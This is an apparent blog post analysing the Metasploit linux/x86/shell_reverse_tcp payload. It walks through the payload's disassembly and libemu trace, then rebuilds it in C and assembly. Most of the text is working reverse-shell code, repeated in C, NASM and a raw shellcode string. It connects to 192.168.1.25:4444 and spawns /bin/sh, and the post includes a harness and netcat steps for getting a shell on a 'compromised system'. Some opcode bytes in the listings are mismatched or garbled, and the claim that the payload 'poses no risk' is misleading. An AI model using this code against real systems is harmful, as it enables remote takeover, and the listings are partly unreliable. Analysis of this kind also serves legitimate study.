What is this post about?
Analysis of the shell_reverse_tcp shellcode found as a module in Metasploit.
Payload:
linux/x86/shell_reverse_tcp
Description:
Connect back to attacker and spawn a command shell
Initial disassembly of payload:
Using metasploit to provide the payload for analysis the following will download and disassemble it.
$ sudo msfpayload -p linux/x86/shell_reverse_tcp LHOST=192.168.1.25 LPORT=4444 R | ndisasm -u –
00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp 0000000B B066 mov al,0x66 0000000D CD80 int 0x80 0000000F 93 xchg eax,ebx 00000010 59 pop ecx 00000011 B03F mov al,0x3f 00000013 CD80 int 0x80 00000015 49 dec ecx 00000016 79F9 jns 0x11 00000018 680C0A80119 push dword 0x1901a8c0 0000001D 680200115C push dword 0x5c110002 00000022 89E1 mov ecx,esp 00000024 B066 mov al,0x66 00000026 50 push eax 00000027 51 push ecx 00000028 53 push ebx 00000029 B303 mov bl,0x3 0000002B 89E1 mov ecx,esp 0000002D CD80 int 0x80 0000002F 52 push edx 00000030 682F2F7368 push dword 0x68732f2f 00000035 682F62696E push dword 0x6e69622f 0000003A 89E3 mov ebx,esp 0000003C 52 push edx 0000003D 53 push ebx 0000003E 89E1 mov ecx,esp 00000040 B00B mov al,0xb 00000042 CD80 int 0x80
Initial analysis of payload with libemu:
Using libemu to discover what is the task of the shellcode. The following command will provide a very verbose trace of execution, the output from which will be used in shortened form below.
$ sudo msfpayload -p linux/x86/shell_reverse_tcp LHOST=192.168.1.25 LPORT=4444 R | sctest -vvv -Ss 100000
int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int dup2 ( int oldfd = 14; int newfd = 2; ) = 2; int dup2 ( int oldfd = 14; int newfd = 1; ) = 1; int dup2 ( int oldfd = 14; int newfd = 0; ) = 0; int connect ( int sockfd = 14; struct sockaddr_in * serv_addr = 0x00416fbe => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 70595338 (host=192.168.1.25); }; char sin_zero = " "; }; int addrlen = 102; ) = 0; int execve ( const char * dateiname = 0x00416fa6 => = "/bin//sh"; const char * argv[] = [ = 0x00416f9e => = 0x00416fa6 => = "/bin//sh"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none; ) = 0;
Produce execution flowchart:
To produce an execution flowchart of the shellcode payload the following commands are issued.
$ sudo msfpayload -p linux/x86/shell_reverse_tcp LHOST=192.168.1.25 LPORT=4444 R | sctest -vvv -Ss 1000000 -G shell_reverse_tcp.dot
$ dot shell_reverse_tcp.dot -Tpng -o shell_reverse_tcp.png
This will produce the following flowchart.
The benefit of such a flowchart is that modularization of the analysis becomes much simpler, the modularization started in the previous step ,the initial libemu analysis, but is confirmed in more detail within the execution flowchart. From here a more detailed analysis and merge of the libemu and disassembly can begin in earnest.
Modularize initial payload disassembly, using libemu and execution flowchart:
; clear registers ; 00000000 31DB xor ebx,ebx ; 00000002 F7E3 mul ebx ; socket ; int socket(int domain, int type, int protocol); ; ; libemu: ; int socket ( ; int domain = 2; ; int type = 1; ; int protocol = 0; ; ) = 14; ; 00000004 53 push ebx ; IPPROTO_IP=0 ; 00000005 43 inc ebx ; socketcall, SYS_SOCKET ; 00000006 53 push ebx ; SOCK_STREAM ; 00000007 6A02 push byte +0x2; AF_INET ; 00000009 89E1 mov ecx,esp ; ecx, ptr to args ; 0000000B B066 mov al,0x66 ; socketcall() ; 0000000D CD80 int 0x80 ; make the call ; dup2: ; int dup2(int oldfd, int newfd); ; ; libemu: ; int dup2 ( ; int oldfd = 14; ; int newfd = 2; ; ) = 2; ; int dup2 ( ; int oldfd = 14; ; int newfd = 1; ; ) = 1; ; int dup2 ( ; int oldfd = 14; ; int newfd = 0; ; ) = 0; ; 0000000F 93 xchg eax,ebx ; exchange ebx with eax ; 00000010 59 pop ecx ; counter ; LBL1: ; 00000011 B03F mov al,0x3f ; dup2() ; 00000013 CD80 int 0x80 ; make the call ; 00000015 49 dec ecx ; sub 1 from counter ; 00000016 79F9 jns LBL1 ; loop until zero ; connect ; int connect ( ; int sockfd = 14; ; struct sockaddr_in * serv_addr = 0x00416fbe => ; struct = { ; short sin_family = 2; ; unsigned short sin_port = 23569 (port=4444); ; struct in_addr sin_addr = { ; unsigned long s_addr = 70595338 (host=192.168.1.25); ; }; ; char sin_zero = " "; ; }; ; int addrlen = 102; ; ) = 0; ; 00000018 680A333504 push dword 0x1901a8c0 ; sin_addr ; 0000001D 680200115C push dword 0x5c110002 ; sin_port/sin_family ; 00000022 89E1 mov ecx,esp ; ecx, ptr to args ; 00000024 B066 mov al,0x66 ; socketcall() ; 00000026 50 push eax ; socketcall() ; 00000027 51 push ecx ; args ; 00000028 53 push ebx ; sockfd ; 00000029 B303 mov bl,0x3 ; connect() ; 0000002B 89E1 mov ecx,esp ; ecx, ptr to args ; 0000002D CD80 int 0x80 ; make the call ; execve ; int execve ( ; const char * dateiname = 0x00416fa6 => ; = "/bin//sh"; ; const char * argv[] = [ ; = 0x00416f9e => ; = 0x00416fa6 => ; = "/bin//sh"; ; = 0x00000000 => ; none; ; ]; ; const char * envp[] = 0x00000000 => ; none; ; ) = 0; ; 0000002F 52 push edx ; null ; 00000030 682F2F7368 push dword 0x68732f2f ; hs// ; 00000035 682F62696E push dword 0x6e69622f ; nib/ ; 0000003A 89E3 mov ebx,esp ; ebx, addr of /bin//sh ; 0000003C 52 push edx ; null ; 0000003D 53 push ebx ; ptr to /bin//sh ; 0000003E 89E1 mov ecx,esp ; ecx, ptr to args ; 00000040 B00B mov al,0xb ; execve() ; 00000042 CD80 int 0x80 ; make the call
With the above breakdown of the code it is much easier to get a handle on what is happening within the code. It can be discovered from the above code that it is a standard socket program and is safe to test, with the port and remote IP address obviously being supplied on the command line to download the payload so again this poses no risk. To prove this it would be beneficial to try and write a C language program equivalent to the shellcode that has just been analyzed.
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(void) { int sockfd; struct sockaddr_in attacker_addr; socklen_t sinsize; /* socket int socket(int domain, int type, int protocol); libemu: int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; 00000004 53 push ebx ; IPPROTO_IP=0 00000005 43 inc ebx ; socketcall, SYS_SOCKET 00000006 53 push ebx ; SOCK_STREAM 00000007 6A02 push byte +0x2; AF_INET 00000009 89E1 mov ecx,esp ; ecx, ptr to args 0000000B B066 mov al,0x66 ; socketcall() 0000000D CD80 int 0x80 ; make the call */ sockfd = socket(AF_INET, SOCK_STREAM, 0); /* dup2: int dup2(int oldfd, int newfd); libemu: int dup2 ( int oldfd = 14; int newfd = 2; ) = 2; int dup2 ( int oldfd = 14; int newfd = 1; ) = 1; int dup2 ( int oldfd = 14; int newfd = 0; ) = 0; 0000000F 93 xchg eax,ebx ; exchange ebx with eax 00000010 59 pop ecx ; counter LBL1: 00000011 B03F mov al,0x3f ; dup2() 00000013 CD80 int 0x80 ; make the call 00000015 49 dec ecx ; sub 1 from counter 00000016 79F9 jns LBL1 ; loop until zero */ dup2(sockfd,0); // stdin dup2(sockfd,1); // stdout dup2(sockfd,2); // stderr /* connect int connect ( int sockfd = 14; struct sockaddr_in * serv_addr = 0x00416fbe => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 70595338 (host=192.168.1.25); }; char sin_zero = " "; }; int addrlen = 102; ) = 0; 00000018 680C0A80119 push dword 0x1901a8c0 ; sin_addr 0000001D 680200115C push dword 0x5c110002 ; sin_port/sin_family 00000022 89E1 mov ecx,esp ; ecx, ptr to args 00000024 B066 mov al,0x66 ; socketcall() 00000026 50 push eax ; socketcall() 00000027 51 push ecx ; args 00000028 53 push ebx ; sockfd 00000029 B303 mov bl,0x3 ; connect() 0000002B 89E1 mov ecx,esp ; ecx, ptr to args 0000002D CD80 int 0x80 ; make the call */ attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(4444); attacker_addr.sin_addr.s_addr = inet_addr("192.168.1.25"); memset(&(attacker_addr.sin_zero),'\0',8); connect(sockfd, (struct sockaddr *)&attacker_addr, sizeof(struct sockaddr)); /* execve int execve ( const char * dateiname = 0x00416fa6 => = "/bin//sh"; const char * argv[] = [ = 0x00416f9e => = 0x00416fa6 => = "/bin//sh"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none; ) = 0; 0000002F 52 push edx ; null 00000030 682F2F7368 push dword 0x68732f2f ; hs// 00000035 682F62696E push dword 0x6e69622f ; nib/ 0000003A 89E3 mov ebx,esp ; ebx, addr of /bin//sh 0000003C 52 push edx ; null 0000003D 53 push ebx ; ptr to /bin//sh 0000003E 89E1 mov ecx,esp ; ecx, ptr to args 00000040 B00B mov al,0xb ; execve() 00000042 CD80 int 0x80 ; make the call */ execve("/bin/sh", NULL, NULL); }
Build the code:
$ gcc shell_reverse_tcpc.c -o shell_reverse_tcpc
Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 4444
the attack system will await a connection from the compromised system.
Open a terminal on the system to be compromised,
$ ./shell_reverse_tcpc
on the attack system a connection message should now appear, shell access is now available on the compromised system. Trying typing in some commands to prove this is the case.
The next step will be to build and test the shellcode from scratch using the initial disassembly of the shellcode.
Prepare disassembly for compilation:
global _start section .text _start: xor ebx,ebx mul ebx push ebx inc ebx push ebx push byte +0x2 mov ecx,esp mov al,0x66 int 0x80 xchg eax,ebx pop ecx stdinouterr: mov al,0x3f int 0x80 dec ecx jns stdinouterr push dword 0x1901a8c0 push dword 0x5c110002 mov ecx,esp mov al,0x66 push eax push ecx push ebx mov bl,0x3 mov ecx,esp int 0x80 push edx push dword 0x68732f2f push dword 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0xb int 0x80
Build the code:
$ nasm -felf32 -o shell_reverse_tcp.o shell_reverse_tcp.asm $ ld -o shell_reverse_tcp shell_reverse_tcp.o
There is no need to check for nulls within the code as it can be seen from the initial disassembly that there are none.
Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so,
$ for i in $(objdump -d shell_reverse_tcp -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
“\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x19\x68\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80”
The shellcode can be copied and pasted into a test program similar to the one below.
#include <stdio.h> unsigned char code[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59" "\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x19\x68\x02\x00\x11\x5c" "\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.
Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 4444
the attack system will await a connection from the compromised system.
Open a terminal on the system to be compromised,
$ ./shellcode
on the attack system a connection message should now appear, shell access is now available on the compromised system. Trying typing in some commands to prove this is the case.
In closing it is noticable that a debugger such as gdb was not used in this analysis, this was intentional as the shellcode was not that complex and with preparation proved to be quite simple to dissect and understand. Not using a debugger also requires a bit more thought as to what is happening within the code, leading to a deeper understanding of not only the shellcode but assembly language itself. Understand that this is not always the case, more complex shellcode can become very laborious and frustrating to analyse without the use of a debugger.